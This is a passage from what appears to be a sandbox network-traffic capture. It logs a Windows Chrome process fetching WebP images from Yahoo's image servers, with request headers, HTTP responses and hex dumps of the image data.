2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 75 b0 6e f1 11 41 d7 12 df 36 9a 45 c3 15 77 cc 65 e8 dc 9f 23 d8 da d7 05 b2 95 00 6c da 4f 5c 8f e5 67 93 f3 5a 9b f4 0b 69 ae 11 db 47 04 10 6f c3 92 2e 71 47 d2 46 20 43 5f b7 96 ea 7e 5c b9 02 1c eb 2a 33 3c cf ad 30 df c5 a4 c3 96 1e a2 e8 81 48 93 54 30 e8 6e 94 df fc a4 c8 88 45 fc 2a f1 ab 2a fc 0a 3d 5d 77 5e e7 a5 68 a6 6b 44 a6 0a a3 11 04 c8 19 72 6c fa 7f d0 5b e7 01 5a 87 e8 94 e2 d7 c8 03 a8 49 b7 5d 35 86 f9 04 9b f1 07 8a 49 70 0d f3 2f ce 9b 50 50 1d c0 2d c9 d7 8e c8 12 35 de bd 99 ff 05 5e 8e 84 f0 3c d4 e5 fd 27 92 6a 07 12 8f ee 43 38 d4 dc 37 5b 6b 79 67 03 8f e0 3a 96 2e b1 b0 9e 47 5f ad ff 21 a1 83 df ac d5 a4 3f 2e 83 17 20 54 f0 5d f2 e4 81 7b e0 eb 6d da c2 14 e6 87 e7 f7 30 d0 31 d5 95 e9 46 87 de f4 00 80 48 17 0c c7 a9 0c Data Ascii: unA6Ewe#lO\gZiGo.qGF C_~\3<0HT0nE*=]w^hkDrl[ZI]5Ip/PP-5^<'jC87[kyg:.G_!?. T]{m01FH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49797	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	763	OUT	GET /uu/api/res/1.2/Kstf7xcrcLS_DLgjPNI.Lw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/44284b40-afef-11ee-98df-d7a77341121b.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1298	IN	HTTP/1.1 200 OK Content-Length: 10566 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 385868450103706039527265479118458225412,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="44284b40-afef-11ee-98df-d7a77341121b.webp" Edge-Cache-Tag: 385868450103706039527265479118458225412,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "bb7dbe3ab8733756c82c4afa8a0113d6" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 19:41:12 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=10566,owidth=2298,oheight=1294,obytes=219025,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 19:55:47 GMT X-Served-By: cache-lga21978-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704916547.298908,VS0,VE101 Age: 12682 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-lga21978-LGA cld_latency: 101 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:09 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 3e 29 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 63 01 00 b3 00 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 cf 00 06 00 03 00 00 00 00 00 00 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFF>)WEBPVP8X cICCP00ADBEmntrRGB XYZ acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 94 65 59 5b 4c f8 13 4c 9b 1b a1 92 72 98 98 28 7e b5 9c 49 f3 b1 6c 99 e2 9e 17 12 1f 4a b0 da a7 41 38 9a 3b cd a9 f9 39 40 81 68 cd 27 6d 1d 0b 1f 11 d6 bf 75 f4 bb 44 b6 74 af 47 2e 77 2f 9b 5e 4f 70 6c 0a d6 0d 4f 05 05 73 a6 5c 42 ad 74 a4 38 10 39 8e 70 5d b7 c4 5f 77 f9 90 a6 f9 dc 1b 68 20 9c 12 b6 56 2e df c5 d2 20 53 39 ca 97 a7 53 5a 58 d5 b1 d6 1a c0 09 0a 27 24 3e c9 c8 5c 08 2b ee bf 82 3f a9 c3 22 84 c7 e0 76 ab cb 9e a3 ad 6e de 26 6c 52 e8 f6 a2 cd f6 26 be 8d 91 de d3 7d 79 59 88 a3 e9 ca 10 36 54 2a a0 ed 80 4c e7 9f 6c d3 31 d3 40 59 ab 9f 3c 42 e7 7f aa 6c e4 0d e0 7a c2 ab a9 82 47 20 5c 9e c2 08 13 97 82 bf b1 09 07 7f 8c d8 4f 72 c0 e9 24 85 ea ec da d6 04 87 7b 17 1c 75 2a 0f 7f 6d 01 f6 6c bd 1a 74 f3 97 a7 49 53 21 31 f5 c9 4c Data Ascii: eY[LLr(~IlJA8;9@h'muDtG.w/^OplOs\Bt89p]_wh V. S9SZX'$>\+?"vn&lR&}yY6TLl1@Y<BlzG \Or${umltIS!1L
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 45 bd 81 24 93 e4 e8 59 ca af 66 4c 0b af 04 99 ec f4 97 21 b8 1e 80 e5 6b dd 0e 01 23 6f 39 1e 32 6d 67 ce 2f 25 aa 32 5b 86 f0 52 43 d6 8a ec aa bf de 02 de d7 6a c3 37 62 8a 62 84 06 4a 3d 22 6e fb cc 72 c7 f5 12 27 60 10 48 15 d1 12 79 2d 55 5a a4 91 a6 54 bf 26 9b 54 4f 6d 80 8a d2 18 cf a2 d4 38 01 82 4e ae 2e 02 da fa 99 7c d8 cb 66 97 68 28 d8 17 7f 1b 2c 91 6b 0e 1c db c2 c8 fd f4 1a 17 3c dc b0 fd 33 5f a1 97 c6 93 22 57 52 51 1c af 58 12 aa cf 3c 95 c0 40 6c 00 13 eb 89 4f ed ff ce 75 a9 84 b1 50 aa 2f fc 5b 28 f4 53 cf b8 87 f0 28 20 92 76 6e b7 09 e9 04 f9 08 88 d0 52 73 73 cb 5f f4 10 4a 8d 68 d0 34 5a 0c c0 59 58 0b 38 a3 85 b0 9c 07 29 a9 49 f6 30 1e 0b 9d 7e e9 f1 9f 51 8c 0a 7f c4 e1 78 dd 5d e4 9b 8d 09 fc bf 5f a7 a1 7d 8e cc 72 12 3f Data Ascii: E$YfL!k#o92mg/%2[RCj7bbJ="nr'`Hy-UZT&TOm8N.\|fh(,k<3_"WRQX<@lOuP/[(S( vnRss_Jh4ZYX8)I0~Qx]_}r?
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: ff 25 04 5d ab 7d 54 24 83 7c 72 b2 96 81 e8 36 fe e0 ed b9 22 66 ba 48 f6 cf 4d 9e 57 fd 42 b6 20 03 ff e5 11 3a 5d 30 2d 2f 04 d9 1a 17 b1 fa 92 0b 44 79 f3 80 b6 2f 15 b2 73 6b e2 b3 1f 5a d7 e2 c7 1d f5 3f d9 9e 9b af 03 b7 59 4e 02 32 e9 ed db f2 ae ce 68 9d 11 d7 f1 62 e6 f1 03 42 54 0f 26 bf f2 96 e7 77 d0 66 e2 80 22 28 df 0f 69 58 a4 ff 50 11 80 c7 37 67 52 3a eb 66 31 81 84 55 30 18 8e 0e 59 04 21 be 6b ca 65 89 91 67 54 5c 62 7b f0 5f b2 39 52 08 07 01 85 f6 f2 a6 e2 de 52 76 c2 4f ef 8f 36 0e f6 ce 67 ba 1c 38 13 57 fe c2 f9 cb b2 eb 4f f0 b5 a5 c6 6a 3b f1 79 98 c3 7a a3 97 86 fe de e1 68 84 5a a2 5a 3c ce 6d a0 c3 46 1f 26 7a 00 25 79 c5 02 f1 ac b7 d6 4d 1f 1b f0 2a b6 5e f2 57 37 2b 78 a1 89 7f 42 fc 6b 6f fa d5 42 a0 81 a8 fb ac 0a c5 72 Data Ascii: %]}T$\|r6"fHMWB :]0-/Dy/skZ?YN2hbBT&wf"(iXP7gR:f1U0Y!kegT\b{_9RRvO6g8WOj;yzhZZ<mF&z%yM*^W7+xBkoBr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 35 16 cd 13 3d 09 f9 25 54 b3 05 ad c4 ac 33 3b 02 8e 28 4c 53 54 82 33 18 29 e4 14 ee 47 82 cb 21 51 88 88 50 50 8c df 80 ca 6b 79 89 15 34 b6 fb bd 21 91 bd a1 6b d4 6d ff a0 12 2c a6 bf d8 08 1c 41 cd 90 52 35 5b 32 2c a8 f2 93 65 c9 c3 8c 0b 74 f9 a4 99 46 a2 b3 20 71 18 c5 3e 3b d9 56 09 e6 e9 62 12 58 40 2a 05 09 b5 40 46 be b7 d4 a5 2d 99 c9 dd ce 55 14 a3 53 6d d9 5b 1f 41 d8 10 b3 a3 b0 0a 70 e7 7d 9a 65 e3 62 a6 7f 9a 87 dd a6 60 d7 3d cb 1d c7 32 51 b9 3c d4 78 f6 65 2e 56 70 0a a5 fa e5 b4 5e 32 d1 c7 81 18 5c 08 5d ca 12 b5 04 ca f4 70 54 68 d4 09 34 1c d8 84 07 5f 52 66 ad c1 87 b2 7c 47 46 a5 2a 73 e4 56 ff 87 ce c0 cf f1 af 6e b9 1f 10 50 3e e0 d2 a5 04 11 3b fc b6 06 9a 32 ff f7 27 6e ce a4 91 c5 ce 24 c4 f9 63 20 5c 70 aa 95 ad c1 3b 41 Data Ascii: 5=%T3;(LST3)G!QPPky4!km,AR5[2,etF q>;VbX@@F-USm[Ap}eb`=2Q<xe.Vp^2\]pTh4_Rf\|GFsVnP>;2'n$c \p;A
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 8c d6 90 4c ea 44 92 27 08 6c c0 19 62 7e e7 be 48 c1 22 98 fa 49 42 f3 a3 dc 16 c0 ae 02 89 8f 7f b9 6b d8 61 bd e2 8b fc 95 83 64 41 16 09 13 7e f7 b0 df a3 a1 4e 50 0a e0 02 b8 e1 11 57 88 4f 1e d1 b7 82 8d fb ce 7d 8c 63 13 c4 33 df e1 39 ad b5 11 cc fd 45 11 4d e7 aa 22 a1 b0 96 dc 60 54 43 a3 bd f8 33 d9 36 2c 47 59 ef 64 66 cb 3c 59 c8 4e 13 2f 62 8d 29 af da 60 e4 ab 86 b3 48 aa e1 75 de 11 c0 e7 b3 40 94 4b a1 c0 9d c8 13 a1 2e 11 44 aa 3b 95 6d d0 7f 54 f0 f2 bf 47 09 1f ee a2 08 49 33 a8 8c 33 96 a6 2d f5 32 e1 ae 6b f8 07 f0 5b c4 9e 88 6c 38 77 71 f5 c4 af 4c 80 d9 99 a3 38 74 64 71 fb 60 4c 70 f3 be b0 30 bd a2 64 28 82 af a7 27 60 c3 db 14 da 04 93 41 d0 d7 83 e3 10 36 a4 28 b7 66 24 9f 3a 16 91 bc be 41 1b bf 53 d5 5c 0c 31 48 d5 f8 a4 61 Data Ascii: LD'lb~H"IBkadA~NPWO}c39EM"`TC36,GYdf<YN/b)`Hu@K.D;mTGI33-2k[l8wqL8tdq`Lp0d('`A6(f$:AS\1Ha
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 38 e6 76 77 65 5e ff ec fa 2e 29 29 ec 04 98 7b 26 d7 38 37 8e 80 5f 96 93 ee bd e4 b5 93 32 3e 13 f8 2b c8 43 6f 2a 21 70 c3 29 c6 19 26 16 13 06 17 7e 2f 60 b9 52 a6 c9 35 e1 d6 e6 54 c3 b0 63 f6 31 2a 49 4a e7 32 50 19 83 a5 06 96 99 5f bb 3a 73 00 8a 1b 90 34 d8 33 e3 07 fb ee b9 16 3b 61 e2 f8 92 89 e3 42 9a 43 ff 03 5d 04 cd 43 c6 12 e1 fd 46 a1 3c 0e 14 e5 3c c4 4f 08 e2 7e 20 a7 55 62 ae 05 88 06 65 97 76 0c 2c 89 05 1e ee 1a 67 d0 f5 4f 7b 98 08 77 5e 1d bf d5 b1 77 40 1a 55 ca 70 a0 a3 d8 f7 dd 37 ab 35 ea a7 08 00 0e b4 d4 81 2a 8f fd 13 62 b1 db e5 6d 08 cf 36 68 7c 3c f5 f9 21 e3 f2 17 e0 ca b2 65 41 85 86 72 3c be 3f db aa e6 2e f4 35 5d bf 0d 09 69 0e c6 cd 91 ff 40 18 57 cf 33 14 8a 05 88 13 5b 5a d0 8a 7e 25 f5 14 7a 1c 6a ca 42 d4 8f 98 Data Ascii: 8vwe^.)){&87_2>+Co!p)&~/`R5Tc1IJ2P_:s43;aBC]CF<<O~ Ubev,gO{w^w@Up75*bm6h\|<!eAr<?.5]i@W3[Z~%zjB
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 5b 70 28 42 08 50 0d 0a ac 6d 8c 40 8e bf f0 ba 68 20 3a 2d 9c 5d 18 0b c0 57 02 2a bd d1 f0 7b 2f 74 4e 2d 01 aa 20 4b 53 b9 80 bb f8 76 65 2e a5 d0 d7 59 41 ef 9b 22 65 79 c0 ae df b6 c6 5a ad a4 fb c6 3b 32 34 c8 2a 3b 21 0d f0 c6 e3 02 f6 91 bc 1d 4a 1e 10 07 96 82 4c 0e ed 66 ee 96 be 8b e6 00 1f bc 73 e6 83 99 d9 62 08 00 12 e8 87 51 b1 f8 25 11 d6 42 04 3b ed b7 a7 a0 2f ba 37 7a 06 ef db 2d 37 8d 51 db 51 ca 71 af 36 0d 71 a1 7c 21 74 18 ef 4a 93 cb 5f 3b 8f 36 46 ad d9 9d 5f 2c 2f a3 df 76 d1 02 01 67 46 e9 02 e6 9b b2 bd bb 08 10 d9 94 88 6b 6f 1d 77 03 19 52 1a 96 55 72 7a 25 94 f3 14 eb 7d 74 10 35 93 fd d7 2a bd 4f 42 e5 13 38 b8 1a 31 41 f5 8b 7a c0 7e 75 be 8d be 64 03 67 cc 4c 52 82 c5 12 7d 7a d7 05 75 8b 5d df 26 26 ed 09 e6 03 50 a2 1b Data Ascii: [p(BPm@h :-]W{/tN- KSve.YA"eyZ;24;!JLfsbQ%B;/7z-7QQq6q\|!tJ_;6F_,/vgFkowRUrz%}t5*OB81Az~udgLR}zu]&&P
2024-01-10 23:27:09 UTC	166	IN	Data Raw: 65 eb 00 0d 92 d3 f9 1b 16 f4 cb 69 3a 39 19 52 8d 1f 18 aa 9b 77 cd 7e 73 fb 70 2b 47 6e 45 49 ea 0d 77 d9 14 05 1a fc 79 ed 0e f1 45 c5 ed 05 9c 1e 7b 58 bb 43 95 b6 38 1e 83 ae bb 60 55 a8 42 c2 1f 92 c0 7c 3e 01 f7 36 f2 e0 35 2c 87 b0 9b c8 f3 3f f1 52 b4 ec 98 c6 09 d9 8b d4 17 07 e3 c9 7e 58 d3 96 4a fc 4f 7d 67 7c 71 b1 48 ea f8 cf a4 02 8e 88 62 6f 35 ef 00 02 3e c0 55 f7 a1 58 25 46 3b 6a c0 5e b4 25 bd 41 85 e2 3f 2d c1 1e 10 3d 64 94 8f d6 89 7c 94 a7 f0 46 62 22 bf 50 08 9b 60 00 Data Ascii: ei:9Rw~sp+GnEIwyE{XC8`UB\|>65,?R~XJO}g\|qHbo5>UX%F;j^%A?-=d\|Fb"P`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49799	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	763	OUT	GET /uu/api/res/1.2/mIZK08Gbjy8FWfYiN9Nhww--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/8d2ccbb0-afa2-11ee-bf64-8de956aacb32.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1204	IN	HTTP/1.1 200 OK Content-Length: 5992 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 345666138519020362890082093044672342225,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="8d2ccbb0-afa2-11ee-bf64-8de956aacb32.webp" Edge-Cache-Tag: 345666138519020362890082093044672342225,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "1ee0189da4f3c7d32187891a2e46bd29" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 10:30:29 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=5992,owidth=2335,oheight=1315,obytes=376334,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 10:35:14 GMT X-Served-By: cache-iad-kiad7000032-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704882914.439254,VS0,VE30 Age: 46315 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:09 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 60 17 00 00 57 45 42 50 56 50 38 20 54 17 00 00 d0 82 00 9d 01 2a 64 01 b4 00 3e 79 38 98 49 24 a3 22 a4 24 11 6b 38 90 0f 09 63 6c 65 d9 dc 2d e0 c4 4a 14 86 3b 64 db f7 d6 a0 fa 61 74 aa 30 a6 dd 22 85 22 7e 81 29 8f ec 77 db f3 84 39 dd dd 04 de a8 7f dc 7a 5e fa 7a f5 07 ce 71 f9 2d c0 85 eb 89 fc 9f d5 13 f5 27 d7 37 ab 62 ac 06 e7 33 62 a8 2f 3e bd dc ce 2b 88 5f 68 fa 3f f2 5c fb e7 44 97 fb 3e 63 5f 7e 58 92 ef fa a7 91 55 f9 71 70 d9 e7 a3 da 50 e2 48 b8 d6 d9 a5 4b 7a 39 b3 4f 03 35 d5 eb e9 9c 01 98 7a 73 db 94 02 77 13 62 6e 30 2e 61 85 ea 89 51 f6 39 57 38 fe e4 ce 55 71 f8 fa 4b 58 d9 93 1d 3e b3 96 60 27 af 3f f0 8c aa 43 6d 31 26 12 84 95 6f a9 dc e7 85 71 63 b8 f9 9b 7d a5 fa 68 bf ed 6a ee 01 ba e7 a7 1b 41 9e 27 17 a9 0a 7e Data Ascii: RIFF`WEBPVP8 T*d>y8I$"$k8cle-J;dat0""~)w9z^zq-'7b3b/>+_h?\D>c_~XUqpPHKz9O5zswbn0.aQ9W8UqKX>`'?Cm1&oqc}hjA'~
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 89 4b 2c 17 7c 62 4b ea ac b4 b4 83 2e 3f fe 87 32 7f d3 1a 7a 96 df 91 0d f3 9f 8d cb a0 10 af ca f0 e4 0b f5 7a f6 12 19 43 f7 2b 77 7e a2 5d 77 02 f5 eb b8 79 2e df 97 fc f4 5f e2 ac e1 f3 d1 75 5a 78 7e f1 3a b3 09 32 7b 2c d0 cc 25 f5 0f 0c 6b 15 9b 7f cf 9f 9e 81 0f 90 95 a4 a4 f3 59 bc 32 1b ee 2c 8c 62 cf 37 a1 a6 37 db 3a b7 79 a3 fa fc a4 33 14 47 a1 04 12 30 8c 63 66 a5 fa c7 14 eb dc d3 e1 a6 eb ed e9 3c f5 37 8f aa a6 64 4c 65 a8 e0 a0 9a e5 cb b2 b8 c2 e1 8d ca 33 36 db d1 13 12 93 49 50 6b f1 55 8b ea b3 1b b2 38 61 c1 16 7a aa bb c6 ed 34 7a 23 15 5e a2 f0 ed 75 47 a3 22 27 30 0b 96 13 a6 b9 4d c3 83 75 23 a7 91 64 ef 59 3d d0 56 70 92 ee ab d0 da ba c2 2c 76 f6 c0 0d 7a 2d 88 54 7f 32 3f 83 24 72 d6 e5 83 41 07 32 02 7c 54 97 16 05 72 f0 Data Ascii: K,\|bK.?2zzC+w~]wy._uZx~:2{,%kY2,b77:y3G0cf<7dLe36IPkU8az4z#^uG"'0Mu#dY=Vp,vz-T2?$rA2\|Tr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 91 7e 32 2b 3c 5e 29 f3 05 33 99 11 e7 4a 21 72 4b d9 ff 9d e5 52 99 00 43 17 25 86 1c 14 34 2d 7d 0f 95 aa 5f c2 74 da 0a 0e 1f b4 c5 b3 37 fd 2c 1c 38 22 d9 cf 80 bb 92 66 1c 62 f3 b4 57 4c 13 a4 3f e1 71 97 df fb c9 1c 47 94 0f b6 fe 94 14 68 d1 15 65 1d df 8c 18 eb a6 d4 78 56 9a 31 98 e1 b9 36 09 bb db 49 7a ca 92 98 48 65 fb e1 ef 9c 30 c6 b4 46 62 02 bc 37 b1 48 47 9e 67 77 ff d3 64 be c0 38 32 db 53 c0 14 92 8c c6 f3 c4 f8 d7 cf 52 95 dd 46 5b b4 ae 87 4d d8 f5 45 c1 1c 9b 9e fa fb fa 0c 5c 14 b5 29 77 aa 4f e8 80 9a ad e0 66 80 69 71 66 6b 55 61 15 f5 f6 21 df 29 9b 89 35 f0 86 42 55 a1 46 77 3a 61 cc 72 39 73 62 1b 06 3f 41 16 a2 8d 8f c6 45 be 2a eb a9 e4 8e 8c 59 f2 21 4f 3f 9b 0e 3c 8a 62 f8 fd b6 57 a9 6c e9 a3 55 78 af 7a de 90 24 92 45 42 Data Ascii: ~2+<^)3J!rKRC%4-}_t7,8"fbWL?qGhexV16IzHe0Fb7HGgwd82SRF[ME\)wOfiqfkUa!)5BUFw:ar9sb?AE*Y!O?<bWlUxz$EB
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c7 49 27 3d d0 51 4d 64 6d 3b 38 99 d7 11 aa ea d2 5d c1 6a c8 e7 4f 80 6b 95 0e 4f 36 98 f7 aa 7e 8a 88 56 23 3f 64 01 8b 15 23 b8 59 1b e4 73 9e b2 15 83 bb 1a 41 fb 36 0e 6e 69 5a 28 b2 6a e1 4c ac 6f 48 aa 70 cc 8f 3e d3 4a d7 46 52 cd a1 89 ab 57 84 4b 8d 82 b3 6f 65 8b df e7 eb 9f 05 16 17 0b 48 38 05 6f 71 2d 9e 2a a2 80 56 ed a3 49 0a 6a 45 78 bc d9 05 97 50 3c c9 91 aa 60 ed 45 8f bc 4e 6f 25 f5 9d 70 ec 46 ea 14 97 66 3a e8 8d 8d 7b 66 11 9b 7a fc b4 fc 1e fe d0 50 1c 3f c9 a4 dc fe 34 c7 c8 a7 44 c6 7b c0 7a f4 7c 8c 5a 3b 39 28 05 b7 12 ed 00 01 d3 38 48 9a 33 1e 17 89 54 f2 54 86 ec a3 d5 f9 c9 50 22 d8 14 6a 06 4c a8 0e cf cf a7 b7 6c 63 89 c8 35 c0 6d 76 ef 0b d6 3b a2 a8 c3 d2 00 a7 98 55 41 28 1c d7 2a 94 77 bf bd 0c 3e ed 05 7e 2d ef 1c Data Ascii: I'=QMdm;8]jOkO6~V#?d#YsA6niZ(jLoHp>JFRWKoeH8oq-VIjExP<`ENo%pFf:{fzP?4D{z\|Z;9(8H3TTP"jLlc5mv;UA(w>~-
2024-01-10 23:27:09 UTC	792	IN	Data Raw: d6 d5 1d 2f 5b 82 f0 94 ae 30 a6 5a 3b 46 9d 64 b4 3e 39 0c 5a 74 20 67 5e 57 11 86 1a f8 12 af b4 80 9a 49 5e 4c a4 ba 4b 05 ed a0 4d 29 52 e7 99 4a 1a 41 9e 10 07 a7 0b ef b3 31 48 62 a7 00 21 d2 26 5a e6 30 2b a7 bb 56 50 c2 51 67 f0 a4 78 dd ee aa ac d8 36 6f 48 35 7b 3f ce 17 7a 67 c3 64 04 57 57 3b 3d bf c2 af 8c d9 af 3a 22 ca b6 ca f3 cc a3 a3 1f 4d 36 b7 a9 ce 5a 5b 5e 09 e0 50 6a 33 0d 0c 1f 6a 53 ff 42 8c 6a 13 d6 2f cf 5c 7e 9b 89 85 0e 4b f9 4b 29 27 98 e6 77 66 31 7c 56 25 b1 9e 66 07 bb f5 c0 96 54 2f 07 41 39 f1 33 dc 8b 8c 4e a1 54 5d bc c7 03 05 4d 5d cc a7 f7 b1 77 b7 d5 fd 06 00 5f 20 de d8 ca 71 4c 66 6e 25 ef b0 ed 88 1b b2 36 47 2a 27 9a a6 7b 51 89 b4 14 2d 74 04 2c 3b ed 03 d2 c5 d1 84 9d b9 82 10 82 b8 f2 63 a4 67 f5 4b b9 3e fd Data Ascii: /[0Z;Fd>9Zt g^WI^LKM)RJA1Hb!&Z0+VPQgx6oH5{?zgdWW;=:"M6Z[^Pj3jSBj/\~KK)'wf1\|V%fT/A93NT]M]w_ qLfn%6G*'{Q-t,;cgK>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49800	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
